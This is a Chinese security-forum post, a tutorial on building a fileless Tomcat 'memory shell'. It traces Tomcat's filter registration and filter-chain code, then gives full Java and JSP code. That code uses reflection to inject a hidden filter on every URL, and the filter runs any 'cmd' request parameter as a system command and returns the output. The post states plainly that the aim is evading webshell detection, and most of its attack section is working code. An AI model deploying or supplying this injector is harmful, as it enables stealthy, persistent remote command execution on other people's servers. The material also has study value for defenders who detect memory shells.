首页
社区
课程
招聘
[原创]手把手教你实现tomcat内存马
发表于: 2022-5-19 10:23 5377

[原创]手把手教你实现tomcat内存马

2022-5-19 10:23
5377

内存马实现

本文全是自己猜的,没有实际操作

内存马

  1. 为什么要使用内存马
  2. 有哪些类型的内存马
  3. 如何编写内存马

为什么要使用内存马

  1. 传统的webshell或以文件驻留的后门越来越容易被检测。
  2. 文件不落地,检测困难

有哪些类型的内存马

  1. 根据不同的容器都有自己对应的内存马
    1. tomcat
    2. weblogic

Tomcat Filter内存马

  1. Filter是如何被创建的
  2. Filter是如何被执行的
  3. Filter是如何被销毁的(内存马暂时用不到)

Tomcat启动流程

  1. 从web.xml文件读取配置信息

流程

  1. webxml读取配置
  2. FilterDef加入context

ContextConfig#configureContext

1
2
3
4
5
6
for (FilterDef filter : webxml.getFilters().values()) {
    if (filter.getAsyncSupported() == null) {
        filter.setAsyncSupported("false");
    }
    context.addFilterDef(filter);
}
  1. 如果filterDef == null我们需要设置三个东西
    1. filterDef.setFilterName(filterName);
    2. filterDef.setFilterClass(filter.getClass().getName());
    3. filterDef.setFilter(filter);

ApplicationContext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FilterDef filterDef = context.findFilterDef(filterName);
 
// Assume a 'complete' FilterRegistration is one that has a class and
// a name
if (filterDef == null) {
    filterDef = new FilterDef();
    filterDef.setFilterName(filterName);
    context.addFilterDef(filterDef);
} else {
    if (filterDef.getFilterName() != null &&
            filterDef.getFilterClass() != null) {
        return null;
    }
}
 
if (filter == null) {
    filterDef.setFilterClass(filterClass);
} else {
    filterDef.setFilterClass(filter.getClass().getName());
    filterDef.setFilter(filter);
}

ContextConfig#configureContext

1
2
3
for (FilterMap filterMap : webxml.getFilterMappings()) {
            context.addFilterMap(filterMap);
        }

ContextConfig#processAnnotationWebFilter

1
FilterMap filterMap = new FilterMap();

 

总结

  1. 从web.xml中读取到tomcat filter配置信息
  2. 将过滤器类和name对应起来(FilterDef)
  3. 将URLPattern和name对应起来(FilterMap)
  4. 将FilterDef和FilterMap加入context

Tomcat Filter初始化流程

 

StandardContext#filterStart

  1. ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
  2. filterConfigs.put(name, filterConfig);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public boolean filterStart() {
 
        if (getLogger().isDebugEnabled()) {
            getLogger().debug("Starting filters");
        }
        // Instantiate and record a FilterConfig for each defined filter
        boolean ok = true;
        synchronized (filterConfigs) {
            filterConfigs.clear();
            for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
                String name = entry.getKey();
                if (getLogger().isDebugEnabled()) {
                    getLogger().debug(" Starting filter '" + name + "'");
                }
                try {
                    ApplicationFilterConfig filterConfig =
                            new ApplicationFilterConfig(this, entry.getValue());
                    filterConfigs.put(name, filterConfig);
                } catch (Throwable t) {
                    t = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.filterStart", name), t);
                    ok = false;
                }
            }
        }
 
        return ok;
    }

Tomcat Filter执行流程

  • 通过分析Filter执行,可以知道一个Filter需要哪些基本的数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@WebFilter(filterName = "testFilter",urlPatterns = "/*")
public class MyFilterDemo1 implements Filter {
 
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }
 
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("do Filter");
        filterChain.doFilter(servletRequest, servletResponse);
    }
 
    @Override
    public void destroy() {
 
    }
}

image-20220430083944172

分析internalDoFilter

  • filter是一个数组
  • 利用下标进行遍历和匹配规则
  • 通过Filter数组或者说通过FilterChain找到第一个关键数据ApplicationFilterConfig
  • 问题
    • FilterChain是如何创建的?

创建一个FilterChain

1
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

创建过滤链:createFilterChain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
 
        // If there is no servlet to execute, return null
        if (servlet == null)
            return null;
 
        // Create and initialize a filter chain object
        ApplicationFilterChain filterChain = null;
        if (request instanceof Request) {
            Request req = (Request) request;
            if (Globals.IS_SECURITY_ENABLED) {
                // Security: Do not recycle
                filterChain = new ApplicationFilterChain();
            } else {
                filterChain = (ApplicationFilterChain) req.getFilterChain();
                if (filterChain == null) {
                    filterChain = new ApplicationFilterChain();
                    req.setFilterChain(filterChain);
                }
            }
        } else {
            // Request dispatcher in use
            filterChain = new ApplicationFilterChain();
        }
 
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
 
        // Acquire the filter mappings for this Context
        //获取此上下文的筛选器映射
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
 
        // If there are no filter mappings, we are done
        if ((filterMaps == null) || (filterMaps.length == 0))
            return (filterChain);
 
        // Acquire the information we will need to match filter mappings
        //获取匹配过滤器映射所需的信息
        DispatcherType dispatcher =
                (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
 
        String requestPath = null;
        Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
        if (attribute != null){
            requestPath = attribute.toString();
        }
 
        String servletName = wrapper.getName();
 
        // Add the relevant path-mapped filters to this filter chain
        //将相关路径映射筛选器添加到此筛选器链
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersURL(filterMaps[i], requestPath))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
 
        // Add filters that match on servlet name second
        //添加与servlet名称匹配的过滤器
        for (int i = 0; i < filterMaps.length; i++) {
            if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
                continue;
            }
            if (!matchFiltersServlet(filterMaps[i], servletName))
                continue;
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                context.findFilterConfig(filterMaps[i].getFilterName());
            if (filterConfig == null) {
                // FIXME - log configuration problem
                continue;
            }
            filterChain.addFilter(filterConfig);
        }
 
        // Return the completed filter chain
        return filterChain;
    }

Java代码实现伪代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package cn.jl.demo;
 
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.net.DispatchType;
 
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
 
@WebFilter("/*")
public class MyFilterDemo implements Filter {
    static {
        try{
            final String name = "jl";
            final String URLPath = "/*";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
 
            MyFilterDemo myFilterDemo = new MyFilterDemo();
 
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(myFilterDemo);
            filterDef.setFilterName(name);
            standardContext.addFilterDef(filterDef);
 
        }catch (Exception ex){
            ex.printStackTrace();
        }
    }
 
 
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
 
    }
 
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Do Filter ......");
        String cmd;
        if ((cmd = servletRequest.getParameter("cmd")) != null) {
            Process process = Runtime.getRuntime().exec(cmd);
            java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                    new java.io.InputStreamReader(process.getInputStream()));
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line + '\n');
            }
            servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
            return;
        }
 
        filterChain.doFilter(servletRequest, servletResponse);
        System.out.println("doFilter");
    }
 
    @Override
    public void destroy() {
 
    }
}

http://localhost:8080/xx.jsp?cmd=whoami

 

JSP代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
 
<%
    //设置<filter-name>
    final String name = "jl";
 
    //获取filterConfigs
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
 
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
 
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
 
    if (filterConfigs.get(name) == null) {
        //这里实现filter
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
 
            }
 
            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                System.out.println("Do Filter ......");
                String cmd;
                if ((cmd = servletRequest.getParameter("cmd")) != null) {
                    Process process = Runtime.getRuntime().exec(cmd);
                    java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
                            new java.io.InputStreamReader(process.getInputStream()));
                    StringBuilder stringBuilder = new StringBuilder();
                    String line;
                    while ((line = bufferedReader.readLine()) != null) {
                        stringBuilder.append(line + '\n');
                    }
                    servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                    servletResponse.getOutputStream().flush();
                    servletResponse.getOutputStream().close();
                    return;
                }
 
                filterChain.doFilter(servletRequest, servletResponse);
                System.out.println("doFilter");
            }
 
            @Override
            public void destroy() {
 
            }
 
        };
 
        //设置FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
 
        //设置FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
 
 
        standardContext.addFilterDef(filterDef);
        standardContext.addFilterMapBefore(filterMap);
 
        //将FilterConfig加入FilterConfigs中
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
 
        filterConfigs.put(name, filterConfig);
    }
%>

http://localhost/filter.jsp

 

http://localhost/1.jsp?cmd=whoami

参考链接

https://xz.aliyun.com/t/10362#toc-6

https://xz.aliyun.com/t/10696


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//